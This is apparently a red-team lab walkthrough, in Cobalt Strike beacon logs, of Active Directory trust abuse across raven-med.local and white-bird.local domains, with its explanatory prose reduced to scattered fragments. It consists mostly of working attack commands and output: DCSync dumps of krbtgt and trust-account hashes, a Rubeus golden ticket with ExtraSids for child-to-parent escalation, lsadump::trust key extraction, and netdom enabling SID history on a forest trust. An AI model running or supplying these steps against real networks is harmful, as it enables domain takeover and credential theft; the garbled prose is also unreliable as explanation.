

krbtgt Dc01 2

```
beacon> powershell get-domaintrust
[*] Tasked beacon to run: get-domaintrust
[+] host called home, sent: 313 bytes
[+] received output:
#< CLIXML
```

```
SourceName      : prod.raven-med.local
TargetName      : raven-med.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 1/21/2023 3:13:26 AM
WhenChanged    : 6/11/2023 7:10:03 PM
```

krbtgt

AD sidHistory (PAC SID ExtraSids) sidHistory/ExtraSids SID Microsoft
Mimikatz/Rubeus KERB_VALIDATION_INFO (ExtraSids ExtraSids
KERB_SID_AND_ATTRIBUTES SID

krbtgt SID katz/Rubeus

SID

krbtgt

```

beacon> dcsync prod.raven-med.local prod\krbtgt
[*] Tasked beacon to run mimikatz's @lsadump::dcsync /domain:prod.raven-med.local /user:prod\krbtgt command
[+] host called home, sent: 296050 bytes
[+] received output:
[DC] 'prod.raven-med.local' will be the domain
[DC] 'dc01.prod.raven-med.local' will be the DC server
[DC] 'prod\krbtgt' will be the user account

Object RDN          : krbtgt

** SAM ACCOUNT **

SAM Username       : krbtgt
Account Type       : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 1/20/2023 8:14:17 PM
Object Security ID  : S-1-5-21-1674258736-4167122442-1078531953-502
Object Relative ID  : 502

Credentials:
Hash NTLM: 94b3020b55c558748fdf5c1521bc5194
ntlm- 0: 94b3020b55c558748fdf5c1521bc5194
lm - 0: c5cc7f01260465b95d0b9ecb6e3faa09

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
  Random Value : 2d772adfd4f4b0a8d8ce9da0025b1665

* Primary:Kerberos-Newer-Keys *
  Default Salt : PROD.RAVEN-MED.LOCALkrbtgt
  Default Iterations : 4096
  Credentials
    aes256_hmac      (4096) : 8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157
    aes128_hmac      (4096) : 8f7cf8d752f44b20cd0da97c784d5971
    des_cbc_md5      (4096) : d5156b377a85bfab

```

ExtraSids SID

```

Rubeus.exe golden /aes256: 8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157
/user: Administrator /domain: prod.raven-med.local /sid: S-1-5-21-1674258736-4167122442-
1078531953 /sids: S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap

```



```

beacon> make_token raven-med\administrator NotRealPassword
[*] Tasked beacon to create a token for raven-med\administrator
[+] host called home, sent: 57 bytes
[+] Impersonated PROD\Administrator
beacon> kerberos_ticket_use /root/Desktop/krbtgt.kirbi
[*] Tasked beacon to apply ticket in /root/Desktop/krbtgt.kirbi
[+] host called home, sent: 3035 bytes
beacon> ls \\dc02.raven-med.local\c$
[*] Tasked beacon to list files in \\dc02.raven-med.local\c$
[+] host called home, sent: 43 bytes
[*] Listing: \\dc02.raven-med.local\c$\

Size      Type      Last Modified      Name
----      -
dir       09/15/2018 00:19:00      $Recycle.Bin
dir       01/20/2023 19:26:23      Documents and Settings
dir       09/15/2018 00:19:00      PerfLogs
dir       01/28/2023 12:14:41      Program Files
dir       01/20/2023 10:28:55      Program Files (x86)
dir       04/02/2023 13:18:32      ProgramData
dir       01/20/2023 19:26:29      Recovery
dir       01/20/2023 15:38:40      System Volume Information
dir       01/20/2023 10:28:49      Users
dir       01/20/2023 15:57:19      Windows
512mb    fil       02/14/2023 19:10:04      pagefile.sys

```

```

mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
mimikatz lsadump::trust /patch

```

[In]

```

beacon> mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
[+] host called home, sent: 750705 bytes
[+] received output:
[DC] 'prod.raven-med.local' will be the domain
[DC] 'dc01.prod.raven-med.local' will be the DC server
[DC] 'raven-med$' will be the user account

Object RDN          : RAVEN-MED$

** SAM ACCOUNT **

SAM Username       : RAVEN-MED$
Account Type       : 30000002 ( TRUST_ACCOUNT )
User Account Control : 00000820 ( PASSWD_NOTREQD INTERDOMAIN_TRUST_ACCOUNT )
Account expiration :
Password last change : 6/11/2023 12:10:03 PM
Object Security ID  : S-1-5-21-1674258736-4167122442-1078531953-1103
Object Relative ID  : 1103

Credentials:
Hash NTLM: 7a93230db5144ccd92ac1fa086f46e49
ntlm- 0: 7a93230db5144ccd92ac1fa086f46e49
ntlm- 1: f5669e2c6b8147ef95199d0a34125ad5
ntlm- 2: f5669e2c6b8147ef95199d0a34125ad5
ntlm- 3: 5d9e4423b3b3fffd579d591aeb8ab2bc
ntlm- 4: 5d9e4423b3b3fffd579d591aeb8ab2bc
ntlm- 5: 283ee5dd966165c409a92372ef013126
ntlm- 6: 283ee5dd966165c409a92372ef013126
lm - 0: 28a872d570a7726816bb203a96bbe3e5
lm - 1: 0c4036f8a9e2fa2f1744c29de0a7552a
lm - 2: a1b82e9623e56cf63ffcc5cbfa34b61e
lm - 3: d9d2553e70ca3645178399948e9854d7
lm - 4: e2a2b37c2801abc6e493db0deb550a17
lm - 5: 56558b10a93b7887414a532573ea4d54
lm - 6: ec219b4667d76e166d53846aa11e8429

```

```

beacon> mimikatz lsadump::trust /patch
[*] Tasked beacon to run mimikatz's lsadump::trust /patch command
[+] host called home, sent: 750704 bytes
[+] received output:

Current domain: PROD.RAVEN-MED.LOCAL (PROD / S-1-5-21-1674258736-4167122442-1078531953)

Domain: RAVEN-MED.LOCAL (RAVEN-MED / S-1-5-21-3775014555-2484002919-2799327105)
[ In ] PROD.RAVEN-MED.LOCAL -> RAVEN-MED.LOCAL
* 6/11/2023 12:10:03 PM - CLEAR - 15 84 c8 57 06 8c d7 6b e0 04 3d ea 28 4c 5d f5 3a b5 8f 8e 7f 7c
ae 1c 1a 60 45 59 71 5f aa df 45 8a 6e 11 04 a5 15 e1 4b ac b5 48 00 07 70 06 aa b4 ea f1 cc 7e a2 1f 18
45 06 30 ef b5 25 88 56 2c 00 1f 18 2c 17 07 4c 0d 52 7c 40 88 c9 37 5b 0f e8 dd 72 29 e9 ee 2e 79 f4 05
4d b8 fa 03 aa ad ad ec 28 72 74 9b 8c 26 6b 71 e8 de 8e cb f4 0d 2a b5 ed
* aes256_hmac e168f710251f6304bf377f0f3779fcb885d079d085b14df56830f04c965ab71
* aes128_hmac 4a96dec260c0b3af353328cfe8eaa472
* rc4_hmac_nt 7a93230db5144ccd92ac1fa086f46e49

[ Out ] RAVEN-MED.LOCAL -> PROD.RAVEN-MED.LOCAL
* 6/11/2023 11:33:12 AM - CLEAR - 40 51 1d 89 63 04 a5 3d 52 44 a4 63 4e 23 d2 20 78 73 a3 46 0d e6
46 84 91 1d 81 87 a4 7b af b4 7c 5a 75 e8 87 5d 26 eb 83 6c 26 54 75 8f a1 16 be 90 62 d1 ee 8c 13 77 4f
58 ac 63 be aa ec 83 a3 66 71 4a b8 c6 ce e0 29 b4 8e cd 9a 4c a1 8f fa e1 55 b6 b9 43 4f 2e e8 2d 25 9d
b4 53 c1 d6 2d 3a 35 44 60 77 70 9b db a6 41 19 02 17 67 43 27 ad 8b 6a 15
* aes256_hmac 7fe3d30bada6f8a4be098df2c7787116383cefaa3b9c4c468b67ca9ecd6544fd
* aes128_hmac 0ebbdac1922b0451e3a081a5bf7450bc
* rc4_hmac_nt 525fed861e6da4bf06de1be65c9ee3c7

```

TGT

ADc02

White-bird

```
beacon> powershell get-domaintrust -domain white-bird.local
[*] Tasked beacon to run: get-domaintrust -domain white-bird.local
[+] host called home, sent: 377 bytes
[+] received output:
#< CLIXML

SourceName      : white-bird.local
TargetName      : med-deal.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 1/22/2023 4:28:57 AM
WhenChanged    : 6/11/2023 6:53:04 PM

SourceName      : white-bird.local
TargetName      : raven-med.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 6/16/2023 3:17:30 AM
WhenChanged    : 6/16/2023 3:17:30 AM
```

SID Dc05 SID

```
netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
```

```
beacon> run netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
[*] Tasked beacon to run: netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
[+] host called home, sent: 88 bytes
[+] received output:
Enabling SID history for this trust.

The command completed successfully.
```

TREAT_AS_EXTERNAL

```
beacon> powershell get-domaintrust -domain white-bird.local
[*] Tasked beacon to run: get-domaintrust -domain white-bird.local
[+] host called home, sent: 377 bytes
[+] received output:
#< CLIXML
```

```
SourceName      : white-bird.local
TargetName      : med-deal.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 1/22/2023 4:28:57 AM
WhenChanged    : 6/11/2023 6:53:04 PM

SourceName      : white-bird.local
TargetName      : raven-med.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : TREAT_AS_EXTERNAL,FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 6/16/2023 3:17:30 AM
WhenChanged    : 6/16/2023 3:22:39 AM
```

SID RID ≥1000 White-bird Server Admin

```
beacon> powershell get-netgroup -identity "Server Admin" -domain white-bird.local
[*] Tasked beacon to run: get-netgroup -identity "Server Admin" -domain white-bird.local
[+] host called home, sent: 437 bytes
[+] received output:
#< CLIXML
```

```
groupstype      : GLOBAL_SCOPE, SECURITY
name            : Server Admin
samaccounttype  : GROUP_OBJECT
samaccountname  : Server Admin
whenchanged     : 4/2/2023 9:25:46 PM
objectsid       : S-1-5-21-2387957962-993181570-3566323574-1605
objectclass     : {top, group}
cn              : Server Admin
usnchanged      : 33677
dscorepropagationdata : {4/2/2023 9:25:46 PM, 1/1/1601 12:00:00 AM}
description     : Manage Web02 and Dev01 server.
distinguishedname : CN=Server Admin,OU=Groups,DC=white-bird,DC=local
member          : CN=serveradm,CN=Users,DC=white-bird,DC=local
usncreated      : 32228
whencreated     : 2/14/2023 12:19:52 AM
instancetype    : 4
objectguid      : 3740237a-1e20-4cf3-a92f-21ce8de696af
objectcategory  : CN=Group,CN=Schema,CN=Configuration,DC=white-bird,DC=local
```

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